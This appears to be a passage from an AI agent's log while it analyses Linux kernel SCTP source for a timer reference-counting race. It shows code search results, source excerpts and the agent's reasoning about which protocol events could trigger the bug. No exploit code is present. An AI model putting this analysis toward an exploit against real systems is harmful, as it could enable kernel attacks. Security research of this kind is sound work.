1777:			case SCTP_CMD_ASSOC_SHKEY:
1778:				error = sctp_auth_asoc_init_active_key(asoc,
1779:							GFP_ATOMIC);
1780:				break;
1781:			case SCTP_CMD_UPDATE_INITTAG:
1782:				asoc->peer.i.init_tag = cmd->obj.u32;
1783:				break;
1784:			case SCTP_CMD_SEND_MSG:
1785:				if (!asoc->outqueue.cork) {
1786:					sctp_outq_cork(&asoc->outqueue);
1787:					local_cork = 1;
1788:				}
1789:				sctp_cmd_send_msg(asoc, cmd->obj.msg, gfp);
1790:				break;
1791:			case SCTP_CMD_PURGE_ASCONF_QUEUE:
1792:				sctp_asconf_queue_teardown(asoc);
1793:				break;
1794:	
1795:			case SCTP_CMD_SET_ASOC:
1796:				if (asoc && local_cork) {
1797:					sctp_outq_uncork(&asoc->outqueue, gfp);
1798:					local_cork = 0;
1799:				}
1800:				asoc = cmd->obj.asoc;
1801:				break;
1802:	
1803:			default:
1804:				pr_warn("Impossible command: %u\n",
1805:					cmd->verb);
1806:				break;
1807:			}
1808:	
1809:			if (error) {
1810:				cmd = sctp_next_cmd(commands);
1811:				while (cmd) {
1812:					if (cmd->verb == SCTP_CMD_REPLY)
1813:						sctp_chunk_free(cmd->obj.chunk);
1814:					cmd = sctp_next_cmd(commands);
1815:				}
1816:				break;
1817:			}
1818:		}
1819:	
1820:		/* If this is in response to a received chunk, wait until
1821:		 * we are done with the packet to open the queue so that we don't
1822:		 * send multiple packets in response to a single request.
1823:		 */
1824:		if (asoc && SCTP_EVENT_T_CHUNK == event_type && chunk) {
1825:			if (chunk->end_of_packet || chunk->singleton)
1826:				sctp_outq_uncork(&asoc->outqueue, gfp);
1827:		} else if (local_cork)
1828:			sctp_outq_uncork(&asoc->outqueue, gfp);
1829:	
1830:		if (sp->data_ready_signalled)
1831:			sp->data_ready_signalled = 0;
1832:	
1833:		return error;
1834:	}
 SourceFile:net/sctp/sm_sideeffect.c]

gemini-3.1-pro-preview

							input: 39024
							output: 42
							thoughts: 331
						

**My Thought Process Regarding SCTP Timer Race Conditions**

Alright, let's dive into this SCTP timer handling. I'm looking at the `SCTP_CMD_TIMER_RESTART` case first. My immediate observation is that it's correctly employing the return value of `mod_timer`. Specifically, if `mod_timer` returns zero, indicating the timer wasn't active, it proceeds to call `sctp_association_hold(asoc)`. This is crucial – it means `SCTP_CMD_TIMER_RESTART` is *not* susceptible to the race condition I'm concerned about.

Now, this leads me to focus on where the actual vulnerability lies. The problem, as I see it, is specifically within the `SCTP_CMD_TIMER_START` case. Here's why: it checks if the timer is *already* pending using `timer_pending(timer)`. If it is indeed pending, it then calls `sctp_association_hold(asoc)`. My reasoning is that to trigger this specific race condition, I absolutely *must* ensure that `SCTP_CMD_TIMER_START` is invoked when the timer is already in a pending state. Therefore, my next logical step is to systematically examine all the code paths that utilize `SCTP_CMD_TIMER_START` to find opportunities to meet this prerequisite.

map[Expression:SCTP_CMD_TIMER_START PathPrefix:net/sctp/sm_statefuns.c]

map[Output:net/sctp/sm_statefuns.c=521=enum sctp_disposition sctp_sf_do_5_1C_ack(struct net *net,
--
net/sctp/sm_statefuns.c-622-			SCTP_TO(SCTP_EVENT_TIMEOUT_T1_INIT));
net/sctp/sm_statefuns.c:623:	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c-624-			SCTP_TO(SCTP_EVENT_TIMEOUT_T1_COOKIE));
--
net/sctp/sm_statefuns.c=703=enum sctp_disposition sctp_sf_do_5_1D_ce(struct net *net,
--
net/sctp/sm_statefuns.c-883-	if (new_asoc->timeouts[SCTP_EVENT_TIMEOUT_AUTOCLOSE])
net/sctp/sm_statefuns.c:884:		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c-885-				SCTP_TO(SCTP_EVENT_TIMEOUT_AUTOCLOSE));
--
net/sctp/sm_statefuns.c=938=enum sctp_disposition sctp_sf_do_5_1E_ca(struct net *net,
--
net/sctp/sm_statefuns.c-984-	if (asoc->timeouts[SCTP_EVENT_TIMEOUT_AUTOCLOSE])
net/sctp/sm_statefuns.c:985:		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c-986-				SCTP_TO(SCTP_EVENT_TIMEOUT_AUTOCLOSE));
--
net/sctp/sm_statefuns.c=2577=static enum sctp_disposition sctp_sf_do_5_2_6_stale(
--
net/sctp/sm_statefuns.c-2651-			SCTP_STATE(SCTP_STATE_COOKIE_WAIT));
net/sctp/sm_statefuns.c:2652:	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c-2653-			SCTP_TO(SCTP_EVENT_TIMEOUT_T1_INIT));
--
net/sctp/sm_statefuns.c=5021=enum sctp_disposition sctp_sf_do_prm_asoc(struct net *net,
--
net/sctp/sm_statefuns.c-5062-	 */
net/sctp/sm_statefuns.c:5063:	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c-5064-			SCTP_TO(SCTP_EVENT_TIMEOUT_T1_INIT));
--
net/sctp/sm_statefuns.c=5573=enum sctp_disposition sctp_sf_do_prm_asconf(struct net *net,
--
net/sctp/sm_statefuns.c-5582-	sctp_add_cmd_sf(commands, SCTP_CMD_SETUP_T4, SCTP_CHUNK(chunk));
net/sctp/sm_statefuns.c:5583:	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c-5584-			SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));
--
net/sctp/sm_statefuns.c=5664=enum sctp_disposition sctp_sf_do_9_2_start_shutdown(
--
net/sctp/sm_statefuns.c-5688-	/* It shall then start the T2-shutdown timer */
net/sctp/sm_statefuns.c:5689:	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c-5690-			SCTP_TO(SCTP_EVENT_TIMEOUT_T2_SHUTDOWN));
--
net/sctp/sm_statefuns.c=5836=enum sctp_disposition sctp_sf_do_6_3_3_rtx(struct net *net,
--
net/sctp/sm_statefuns.c-5858-			 */
net/sctp/sm_statefuns.c:5859:			sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START_ONCE,
net/sctp/sm_statefuns.c-5860-				SCTP_TO(SCTP_EVENT_TIMEOUT_T5_SHUTDOWN_GUARD));
]

gemini-3.1-pro-preview

							input: 40735
							output: 38
							thoughts: 459
						

**My Thought Process Regarding SCTP Timers and the AUTOCLOSE Feature**

I'm currently digging into the specifics of SCTP's timer mechanisms, and something about `SCTP_CMD_TIMER_START` has caught my attention, specifically its relationship with the `AUTOCLOSE` timer. I've compiled a list of instances where `SCTP_CMD_TIMER_START` is invoked, and I see it being used for a variety of timers: `T1_COOKIE` in the context of receiving an `INIT_ACK` (`sctp_sf_do_5_1C_ack`), `AUTOCLOSE` upon receiving a `COOKIE_ECHO` (`sctp_sf_do_5_1D_ce`) and `COOKIE_ACK` (`sctp_sf_do_5_1E_ca`). I also see it for `T1_INIT` when a stale cookie error occurs (`sctp_sf_do_5_2_6_stale`) or in the case of a primitive association (`sctp_sf_do_prm_asoc`), `T4_RTO` for a primitive `ASCONF` (`sctp_sf_do_prm_asconf`), and finally `T2_SHUTDOWN` when initiating a shutdown sequence (`sctp_sf_do_9_2_start_shutdown`).

Now, my focus is sharpening on this `AUTOCLOSE` timer. I've observed that it's explicitly started in `sctp_sf_do_5_1D_ce` and `sctp_sf_do_5_1E_ca`, which are tied to receiving `COOKIE_ECHO` and `COOKIE_ACK` respectively. It's not directly started *within* `sctp_sf_do_5_1C_cmd_interpreter` itself, but rather initiated through the `SCTP_CMD_TIMER_START` command. This leads me to a critical question: what happens if I try to start the `AUTOCLOSE` timer via `SCTP_CMD_TIMER_START` when it's already active or pending?

Further, I recall that the `AUTOCLOSE` timer is generally initiated when an association successfully transitions to the `ESTABLISHED` state. If the user has configured `SO_AUTOCLOSE` on the socket, this timeout will naturally have a non-zero value. My next line of inquiry is to determine if the `AUTOCLOSE` timer is reset or restarted whenever the association receives new data. I need to thoroughly examine the code paths to identify all the scenarios where the `AUTOCLOSE` timer might be restarted.

map[Expression:SCTP_EVENT_TIMEOUT_AUTOCLOSE PathPrefix:net/sctp/]

map[Output:net/sctp/associola.c=51=static struct sctp_association *sctp_association_init(
--
net/sctp/associola.c-139-	asoc->timeouts[SCTP_EVENT_TIMEOUT_SACK] = asoc->sackdelay;
net/sctp/associola.c:140:	asoc->timeouts[SCTP_EVENT_TIMEOUT_AUTOCLOSE] =
net/sctp/associola.c-141-		(unsigned long)sp->autoclose * HZ;
--
net/sctp/output.c=575=int sctp_packet_transmit(struct sctp_packet *packet, gfp_t gfp)
--
net/sctp/output.c-635-	if (packet->has_data && sctp_state(asoc, ESTABLISHED) &&
net/sctp/output.c:636:	    asoc->timeouts[SCTP_EVENT_TIMEOUT_AUTOCLOSE]) {
net/sctp/output.c-637-		struct timer_list *timer =
net/sctp/output.c:638:			&asoc->timers[SCTP_EVENT_TIMEOUT_AUTOCLOSE];
net/sctp/output.c-639-		unsigned long timeout =
net/sctp/output.c:640:			asoc->timeouts[SCTP_EVENT_TIMEOUT_AUTOCLOSE];
net/sctp/output.c-641-
--
net/sctp/sm_sideeffect.c=354=static void sctp_generate_autoclose_event(struct timer_list *t)
--
net/sctp/sm_sideeffect.c-357-		timer_container_of(asoc, t,
net/sctp/sm_sideeffect.c:358:				   timers[SCTP_EVENT_TIMEOUT_AUTOCLOSE]);
net/sctp/sm_sideeffect.c-359-
net/sctp/sm_sideeffect.c:360:	sctp_generate_timeout_event(asoc, SCTP_EVENT_TIMEOUT_AUTOCLOSE);
net/sctp/sm_sideeffect.c-361-}
--
net/sctp/sm_sideeffect.c=525=sctp_timer_event_t *sctp_timer_events[SCTP_NUM_TIMEOUT_TYPES] = {
--
net/sctp/sm_sideeffect.c-536-	[SCTP_EVENT_TIMEOUT_SACK] =		sctp_generate_sack_event,
net/sctp/sm_sideeffect.c:537:	[SCTP_EVENT_TIMEOUT_AUTOCLOSE] =	sctp_generate_autoclose_event,
net/sctp/sm_sideeffect.c-538-};
--
net/sctp/sm_statefuns.c=703=enum sctp_disposition sctp_sf_do_5_1D_ce(struct net *net,
--
net/sctp/sm_statefuns.c-882-
net/sctp/sm_statefuns.c:883:	if (new_asoc->timeouts[SCTP_EVENT_TIMEOUT_AUTOCLOSE])
net/sctp/sm_statefuns.c-884-		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c:885:				SCTP_TO(SCTP_EVENT_TIMEOUT_AUTOCLOSE));
net/sctp/sm_statefuns.c-886-
--
net/sctp/sm_statefuns.c=938=enum sctp_disposition sctp_sf_do_5_1E_ca(struct net *net,
--
net/sctp/sm_statefuns.c-983-	sctp_add_cmd_sf(commands, SCTP_CMD_HB_TIMERS_START, SCTP_NULL());
net/sctp/sm_statefuns.c:984:	if (asoc->timeouts[SCTP_EVENT_TIMEOUT_AUTOCLOSE])
net/sctp/sm_statefuns.c-985-		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c:986:				SCTP_TO(SCTP_EVENT_TIMEOUT_AUTOCLOSE));
net/sctp/sm_statefuns.c-987-
--
net/sctp/sm_statefuns.c=3235=enum sctp_disposition sctp_sf_eat_data_6_2(struct net *net,
--
net/sctp/sm_statefuns.c-3280-
net/sctp/sm_statefuns.c:3281:	if (asoc->timeouts[SCTP_EVENT_TIMEOUT_AUTOCLOSE]) {
net/sctp/sm_statefuns.c-3282-		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_RESTART,
net/sctp/sm_statefuns.c:3283:				SCTP_TO(SCTP_EVENT_TIMEOUT_AUTOCLOSE));
net/sctp/sm_statefuns.c-3284-	}
--
net/sctp/sm_statefuns.c=4247=enum sctp_disposition sctp_sf_eat_fwd_tsn(struct net *net,
--
net/sctp/sm_statefuns.c-4296-	/* Count this as receiving DATA. */
net/sctp/sm_statefuns.c:4297:	if (asoc->timeouts[SCTP_EVENT_TIMEOUT_AUTOCLOSE]) {
net/sctp/sm_statefuns.c-4298-		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_RESTART,
net/sctp/sm_statefuns.c:4299:				SCTP_TO(SCTP_EVENT_TIMEOUT_AUTOCLOSE));
net/sctp/sm_statefuns.c-4300-	}
--
net/sctp/sm_statefuns.c=5664=enum sctp_disposition sctp_sf_do_9_2_start_shutdown(
--
net/sctp/sm_statefuns.c-5698-
net/sctp/sm_statefuns.c:5699:	if (asoc->timeouts[SCTP_EVENT_TIMEOUT_AUTOCLOSE])
net/sctp/sm_statefuns.c-5700-		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_STOP,
net/sctp/sm_statefuns.c:5701:				SCTP_TO(SCTP_EVENT_TIMEOUT_AUTOCLOSE));
net/sctp/sm_statefuns.c-5702-
--
net/sctp/sm_statefuns.c=5734=enum sctp_disposition sctp_sf_do_9_2_shutdown_ack(
--
net/sctp/sm_statefuns.c-5779-
net/sctp/sm_statefuns.c:5780:	if (asoc->timeouts[SCTP_EVENT_TIMEOUT_AUTOCLOSE])
net/sctp/sm_statefuns.c-5781-		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_STOP,
net/sctp/sm_statefuns.c:5782:				SCTP_TO(SCTP_EVENT_TIMEOUT_AUTOCLOSE));
net/sctp/sm_statefuns.c-5783-
--
net/sctp/sm_statetable.c=756=other_event_table[SCTP_NUM_OTHER_TYPES][SCTP_STATE_NUM_STATES] = {
--
net/sctp/sm_statetable.c-931-
net/sctp/sm_statetable.c:932:#define TYPE_SCTP_EVENT_TIMEOUT_AUTOCLOSE { \
net/sctp/sm_statetable.c-933-	/* SCTP_STATE_CLOSED */ \
--
net/sctp/sm_statetable.c=990=timeout_event_table[SCTP_NUM_TIMEOUT_TYPES][SCTP_STATE_NUM_STATES] = {
--
net/sctp/sm_statetable.c-1001-	TYPE_SCTP_EVENT_TIMEOUT_SACK,
net/sctp/sm_statetable.c:1002:	TYPE_SCTP_EVENT_TIMEOUT_AUTOCLOSE,
net/sctp/sm_statetable.c-1003-};
]

gemini-3.1-pro-preview

							input: 43540
							output: 44
							thoughts: 211
						

**My Thought Process Regarding SCTP Vulnerability Analysis**

So, my initial thought is that I've examined the `AUTOCLOSE` behavior within SCTP and observed that it utilizes `SCTP_CMD_TIMER_RESTART` upon receiving data. This particular observation leads me to believe that, based on this specific mechanism, `AUTOCLOSE` isn't presenting a vulnerability.

However, my attention then shifts to the `T1_INIT` timer. I see that `sctp_sf_do_prm_asoc` is the function responsible for starting `T1_INIT` using `SCTP_CMD_TIMER_START`. This naturally prompts the question: under what circumstances is `sctp_sf_do_prm_asoc` actually invoked? My understanding is that this function is triggered when an `SCTP_PRIMITIVE_ASSOCIATE` event occurs, which is typically what happens when a `connect()` system call is made.

This line of reasoning then leads me to consider a specific edge case: what happens if `connect()` is called multiple times on the same SCTP socket? I pause for a moment to recall the state transitions. Ah, yes, after an initial `connect()`, the SCTP stack enters the `COOKIE_WAIT` state. So, the critical question becomes: if I attempt to call `connect()` again *while* the socket is already in the `COOKIE_WAIT` state, what is the system's reaction? To answer this, I need to delve into the `primitive_event_table` and specifically look for how `SCTP_PRIMITIVE_ASSOCIATE` is handled when the current state is `COOKIE_WAIT`. This is the next logical step in my analysis to determine if this scenario presents a potential weakness.

map[Expression:TYPE_SCTP_PRIMITIVE_ASSOCIATE PathPrefix:net/sctp/sm_statetable.c]

map[Output:net/sctp/sm_statetable.c=550=chunk_event_table_unknown[SCTP_STATE_NUM_STATES] = {
--
net/sctp/sm_statetable.c-569-
net/sctp/sm_statetable.c:570:#define TYPE_SCTP_PRIMITIVE_ASSOCIATE  { \
net/sctp/sm_statetable.c-571-	/* SCTP_STATE_CLOSED */ \
--
net/sctp/sm_statetable.c-586-	TYPE_SCTP_FUNC(sctp_sf_not_impl), \
net/sctp/sm_statetable.c:587:} /* TYPE_SCTP_PRIMITIVE_ASSOCIATE */
net/sctp/sm_statetable.c-588-
--
net/sctp/sm_statetable.c=707=primitive_event_table[SCTP_NUM_PRIMITIVE_TYPES][SCTP_STATE_NUM_STATES] = {
net/sctp/sm_statetable.c:708:	TYPE_SCTP_PRIMITIVE_ASSOCIATE,
net/sctp/sm_statetable.c-709-	TYPE_SCTP_PRIMITIVE_SHUTDOWN,
]

gemini-3.1-pro-preview

							input: 44116
							output: 48
							thoughts: 21
						

**My Thought Process on `TYPE_SCTP_PRIMITIVE_ASSOCIATE`**

My initial impulse, when confronted with the need to understand `TYPE_SCTP_PRIMITIVE_ASSOCIATE`, is to dive directly into its definition. I don't want to just *know* what it is; I need to grasp its very essence, its foundational role within the SCTP framework. This is about getting to the bedrock of how SCTP associations are initiated and managed. I'm looking for the core mechanics, the fundamental building blocks that enable two SCTP endpoints to establish a reliable communication channel. It's not just a data structure; it represents a crucial *state* and a pivotal *action* within the SCTP protocol's lifecycle. My aim is to comprehend not just the "what" but the "how" and, most importantly, the "why" behind its existence and functionality.

log-in to see details

map[ContextFile:net/sctp/sm_statetable.c Name:TYPE_SCTP_PRIMITIVE_ASSOCIATE]

map[SourceCode: SourceFile:]

gemini-3.1-pro-preview

							input: 44190
							output: 40
							thoughts: 21
						

**My Thought Process for Deciphering the Code**

Right, okay. My initial assessment is that this looks like a macro. That's the first thing that jumps out at me. Given that, my immediate next step is to dive into the code, and I've got a specific target in mind: I need to examine the area around line 570. That's where I anticipate finding the core logic or the defining characteristics of this macro, which is crucial for understanding its functionality and purpose within the larger codebase.

map[File:net/sctp/sm_statetable.c FirstLine:565 LineCount:30]

map[Contents: 565:		/* SCTP_STATE_SHUTDOWN_ACK_SENT */
 566:		TYPE_SCTP_FUNC(sctp_sf_unk_chunk),
 567:	};	/* chunk unknown */
 568:	
 569:	
 570:	#define TYPE_SCTP_PRIMITIVE_ASSOCIATE  { \
 571:		/* SCTP_STATE_CLOSED */ \
 572:		TYPE_SCTP_FUNC(sctp_sf_do_prm_asoc), \
 573:		/* SCTP_STATE_COOKIE_WAIT */ \
 574:		TYPE_SCTP_FUNC(sctp_sf_not_impl), \
 575:		/* SCTP_STATE_COOKIE_ECHOED */ \
 576:		TYPE_SCTP_FUNC(sctp_sf_not_impl), \
 577:		/* SCTP_STATE_ESTABLISHED */ \
 578:		TYPE_SCTP_FUNC(sctp_sf_not_impl), \
 579:		/* SCTP_STATE_SHUTDOWN_PENDING */ \
 580:		TYPE_SCTP_FUNC(sctp_sf_not_impl), \
 581:		/* SCTP_STATE_SHUTDOWN_SENT */ \
 582:		TYPE_SCTP_FUNC(sctp_sf_not_impl), \
 583:		/* SCTP_STATE_SHUTDOWN_RECEIVED */ \
 584:		TYPE_SCTP_FUNC(sctp_sf_not_impl), \
 585:		/* SCTP_STATE_SHUTDOWN_ACK_SENT */ \
 586:		TYPE_SCTP_FUNC(sctp_sf_not_impl), \
 587:	} /* TYPE_SCTP_PRIMITIVE_ASSOCIATE */
 588:	
 589:	#define TYPE_SCTP_PRIMITIVE_SHUTDOWN  { \
 590:		/* SCTP_STATE_CLOSED */ \
 591:		TYPE_SCTP_FUNC(sctp_sf_error_closed), \
 592:		/* SCTP_STATE_COOKIE_WAIT */ \
 593:		TYPE_SCTP_FUNC(sctp_sf_cookie_wait_prm_shutdown), \
 594:		/* SCTP_STATE_COOKIE_ECHOED */ \
]

gemini-3.1-pro-preview

							input: 44876
							output: 41
							thoughts: 163
						

**My Thought Process Regarding SCTP State Transitions and Timer Management**

As I delve into the intricacies of the SCTP protocol's state machine, particularly concerning the handling of connections and timers, I'm encountering some key points that warrant careful consideration. My current focus is on understanding the implications of re-initiating a `connect()` call under specific circumstances and how this interacts with pending timers.

My initial observation is that if I attempt to call `connect()` again after an SCTP association has already been established or is in the process of establishment, the system will return `sctp_sf_not_impl`. This is a critical constraint. It directly implies that I cannot actively trigger the `sctp_sf_do_prm_asoc` function while a `T1_INIT` timer is still pending. This makes sense; the protocol is designed to prevent race conditions and ensure a stable, single initiation process. Attempting to re-initiate a connection while the initial setup is still in flux would likely lead to unpredictable behavior.

This leads me to the next logical question: what about the `T1_COOKIE` timer? I've noted that the `sctp_sf_do_5_1C_ack` function is responsible for starting this timer. This function is specifically invoked when the system is in the `COOKIE_WAIT` state and receives an `INIT_ACK` message. The `T1_COOKIE` timer is essentially a safeguard against situations where the `INIT_ACK` might be lost or delayed, ensuring that the connection attempt doesn't hang indefinitely.

My mind then turns to a potential edge case: what happens if I receive multiple `INIT_ACK` messages while still in the `COOKIE_WAIT` state? This is a scenario that could arise due to network packet duplication or retransmissions. I need to thoroughly examine how the protocol handles such a situation within the `COOKIE_WAIT` state. Specifically, I'll be looking at the code paths related to `TYPE_SCTP_INIT_ACK` when the current state is `COOKIE_WAIT`. My expectation is that the protocol should gracefully handle these duplicate `INIT_ACK`s, likely by only processing the first valid one and potentially resetting or ignoring subsequent ones to avoid unnecessary state changes or timer restarts. This will be crucial for ensuring the robustness of the SCTP implementation.

map[Expression:TYPE_SCTP_INIT_ACK PathPrefix:net/sctp/sm_statetable.c]

map[Output:net/sctp/sm_statetable.c=65=const struct sctp_sm_table_entry *sctp_sm_lookup_event(
--
net/sctp/sm_statetable.c-128-
net/sctp/sm_statetable.c:129:#define TYPE_SCTP_INIT_ACK { \
net/sctp/sm_statetable.c-130-	/* SCTP_STATE_CLOSED */ \
--
net/sctp/sm_statetable.c-145-	TYPE_SCTP_FUNC(sctp_sf_discard_chunk), \
net/sctp/sm_statetable.c:146:} /* TYPE_SCTP_INIT_ACK */
net/sctp/sm_statetable.c-147-
--
net/sctp/sm_statetable.c=383=chunk_event_table[SCTP_NUM_BASE_CHUNK_TYPES][SCTP_STATE_NUM_STATES] = {
--
net/sctp/sm_statetable.c-385-	TYPE_SCTP_INIT,
net/sctp/sm_statetable.c:386:	TYPE_SCTP_INIT_ACK,
net/sctp/sm_statetable.c-387-	TYPE_SCTP_SACK,
]

gemini-3.1-pro-preview

							input: 45416
							output: 40
							thoughts: 15
						

**My Thought Process on `TYPE_SCTP_INIT_ACK`**

Ah, so I've just encountered `TYPE_SCTP_INIT_ACK`. My immediate inclination is to delve into what this signifies within the SCTP (Stream Control Transmission Protocol) context. I recognize this as a crucial message, specifically an **Initialization Confirmation** packet.

When I see `TYPE_SCTP_INIT_ACK`, I understand it's the server's response to my initial `SCTP_INIT` (Initialization) message. This means the server has received my request to establish an SCTP association, processed it, and is now sending back its own parameters and confirmation.

My internal monologue immediately starts dissecting the implications:

*   **It's a positive acknowledgement:** This is good news. The `INIT_ACK` signifies that the server is willing and able to establish a connection. It's not an error or a rejection.
*   **It contains server-side parameters:** Crucially, this packet isn't just a "yes." It will contain the server's own chosen SCTP parameters. This includes things like the maximum number of incoming and outgoing streams it supports (Initiation Tag, Number of Incoming Streams, Number of Outgoing Streams), its State Cookie, and potentially other relevant parameters like the Maximum Payload data. I need to pay close attention to these, as they will influence the capabilities of our established association.
*   **It's part of the handshake:** I know this is a fundamental step in the SCTP three-way handshake. The `INIT` from my side, followed by `INIT_ACK` from the server, and then my subsequent `COOKIE_ECHO` (which contains the server's State Cookie) and the server's `COOKIE_ACK` will complete the association establishment.
*   **State management is key:** The `INIT_ACK` plays a vital role in the server's state management. It generates and includes a State Cookie that I, as the client, must echo back. This cookie is designed to prevent certain types of denial-of-service attacks by requiring the server to initially send unauthenticated information and then verify it later.
*   **I need to validate the State Cookie:** Upon receiving this `INIT_ACK`, my next critical step will be to extract that State Cookie. I must ensure it's present and well-formed, as it's essential for my subsequent `COOKIE_ECHO` packet.
*   **It signals the readiness for further steps:** The presence of `TYPE_SCTP_INIT_ACK` means the server is now in a state where it's expecting my `COOKIE_ECHO`. I can't just sit here; I need to proceed with the handshake.

In essence, `TYPE_SCTP_INIT_ACK` tells me: "I've heard your request to connect, I'm ready, and here are my rules and your verification token." It's the confirmation that the initial negotiation phase is successful, and we can move towards solidifying the connection.

map[File:net/sctp/sm_statetable.c FirstLine:128 LineCount:20]

map[Contents: 128:	
 129:	#define TYPE_SCTP_INIT_ACK { \
 130:		/* SCTP_STATE_CLOSED */ \
 131:		TYPE_SCTP_FUNC(sctp_sf_do_5_2_3_initack), \
 132:		/* SCTP_STATE_COOKIE_WAIT */ \
 133:		TYPE_SCTP_FUNC(sctp_sf_do_5_1C_ack), \
 134:		/* SCTP_STATE_COOKIE_ECHOED */ \
 135:		TYPE_SCTP_FUNC(sctp_sf_discard_chunk), \
 136:		/* SCTP_STATE_ESTABLISHED */ \
 137:		TYPE_SCTP_FUNC(sctp_sf_discard_chunk), \
 138:		/* SCTP_STATE_SHUTDOWN_PENDING */ \
 139:		TYPE_SCTP_FUNC(sctp_sf_discard_chunk), \
 140:		/* SCTP_STATE_SHUTDOWN_SENT */ \
 141:		TYPE_SCTP_FUNC(sctp_sf_discard_chunk), \
 142:		/* SCTP_STATE_SHUTDOWN_RECEIVED */ \
 143:		TYPE_SCTP_FUNC(sctp_sf_discard_chunk), \
 144:		/* SCTP_STATE_SHUTDOWN_ACK_SENT */ \
 145:		TYPE_SCTP_FUNC(sctp_sf_discard_chunk), \
 146:	} /* TYPE_SCTP_INIT_ACK */
 147:	
]

gemini-3.1-pro-preview

							input: 45895
							output: 41
							thoughts: 259
						

**My Thought Process Regarding SCTP State Transitions and Timer Management**

My analysis begins by focusing on a specific scenario within the SCTP state machine. I’ve observed that when the association is in the `COOKIE_WAIT` state, and an `INIT_ACK` chunk is received, the system invokes the `sctp_sf_do_5_1C_ack` function.

A crucial question that arises is whether this function, `sctp_sf_do_5_1C_ack`, alters the current state of the association. Upon closer inspection, I confirmed that it does. The function explicitly initiates a state transition to `COOKIE_ECHOED`, as evidenced by the following code snippet:

```c
	sctp_add_cmd_sf(commands, SCTP_CMD_NEW_STATE,
			SCTP_STATE(SCTP_STATE_COOKIE_ECHOED));
```

This observation leads me to a significant conclusion: if a *second* `INIT_ACK` is received while the association is already in the `COOKIE_ECHOED` state, the behavior will differ. In such a case, the system, recognizing that the `COOKIE_WAIT` state has already been processed and the state has advanced, will call `sctp_sf_discard_chunk`. Consequently, this means that `sctp_sf_do_5_1C_ack` cannot be triggered multiple times for the same incoming `INIT_ACK` by design, as the state changes after the first invocation.

Shifting my focus to the `T2_SHUTDOWN` timer, I'm investigating its role and invocation points. I've identified that the `sctp_sf_do_9_2_start_shutdown` function is responsible for initiating this timer, utilizing `SCTP_CMD_TIMER_START` for `T2_SHUTDOWN`.

My next step is to determine the specific conditions under which `sctp_sf_do_9_2_start_shutdown` is actually called. Understanding this will clarify the sequence of events leading to the activation of the `T2_SHUTDOWN` timer.

map[Expression:sctp_sf_do_9_2_start_shutdown PathPrefix:net/sctp/]

map[Output:net/sctp/sm_statefuns.c=1882=static enum sctp_disposition sctp_sf_do_dupcook_a(
--
net/sctp/sm_statefuns.c-1980-		sctp_add_cmd_sf(commands, SCTP_CMD_REPLY, SCTP_CHUNK(repl));
net/sctp/sm_statefuns.c:1981:		return sctp_sf_do_9_2_start_shutdown(net, ep, asoc,
net/sctp/sm_statefuns.c-1982-						     SCTP_ST_CHUNK(0), repl,
--
net/sctp/sm_statefuns.c=5172=enum sctp_disposition sctp_sf_do_9_2_prm_shutdown(
--
net/sctp/sm_statefuns.c-5194-	if (sctp_outq_is_empty(&asoc->outqueue)) {
net/sctp/sm_statefuns.c:5195:		disposition = sctp_sf_do_9_2_start_shutdown(net, ep, asoc, type,
net/sctp/sm_statefuns.c-5196-							    arg, commands);
--
net/sctp/sm_statefuns.c=5632=enum sctp_disposition sctp_sf_do_no_pending_tsn(
--
net/sctp/sm_statefuns.c-5663- */
net/sctp/sm_statefuns.c:5664:enum sctp_disposition sctp_sf_do_9_2_start_shutdown(
net/sctp/sm_statefuns.c-5665-					struct net *net,
--
net/sctp/sm_statefuns.c=6255=enum sctp_disposition sctp_sf_autoclose_timer_expire(
--
net/sctp/sm_statefuns.c-6279-	if (sctp_outq_is_empty(&asoc->outqueue)) {
net/sctp/sm_statefuns.c:6280:		disposition = sctp_sf_do_9_2_start_shutdown(net, ep, asoc, type,
net/sctp/sm_statefuns.c-6281-							    NULL, commands);
--
net/sctp/sm_statetable.c=707=primitive_event_table[SCTP_NUM_PRIMITIVE_TYPES][SCTP_STATE_NUM_STATES] = {
--
net/sctp/sm_statetable.c-726-	/* SCTP_STATE_SHUTDOWN_PENDING */ \
net/sctp/sm_statetable.c:727:	TYPE_SCTP_FUNC(sctp_sf_do_9_2_start_shutdown), \
net/sctp/sm_statetable.c-728-	/* SCTP_STATE_SHUTDOWN_SENT */ \
]

gemini-3.1-pro-preview

							input: 46984
							output: 40
							thoughts: 71
						

**My Thought Process Unfolding**

Okay, so I've just hit a point where the execution flow in the SCTP stack seems to be taking a turn towards termination. My immediate observation is that `sctp_sf_do_9_2_start_shutdown` is being invoked. This isn't just a random function call; it's being triggered from the `primitive_event_table`, and crucially, it's happening specifically when the SCTP association is in the `SCTP_STATE_SHUTDOWN_PENDING` state.

This immediately sparks a question in my mind: "Wait, what *exactly* is this `primitive_event_table` and what's its role here?" I know these tables are often central to state machine implementations, acting as a lookup mechanism for handling incoming events and determining the next state or actions. But I need to be sure of the context. To get a clearer picture, I've decided to dive into the source code and locate this `primitive_event_table`. My plan is to look around line 727, as that's where I expect to find its definition or relevant usage. By examining the entries around that line, I should be able to understand which primitive event is leading to this shutdown procedure and get a better grasp of the overall SCTP shutdown sequence.

map[File:net/sctp/sm_statetable.c FirstLine:715 LineCount:20]

map[Contents: 715:	};
 716:	
 717:	#define TYPE_SCTP_OTHER_NO_PENDING_TSN  { \
 718:		/* SCTP_STATE_CLOSED */ \
 719:		TYPE_SCTP_FUNC(sctp_sf_ignore_other), \
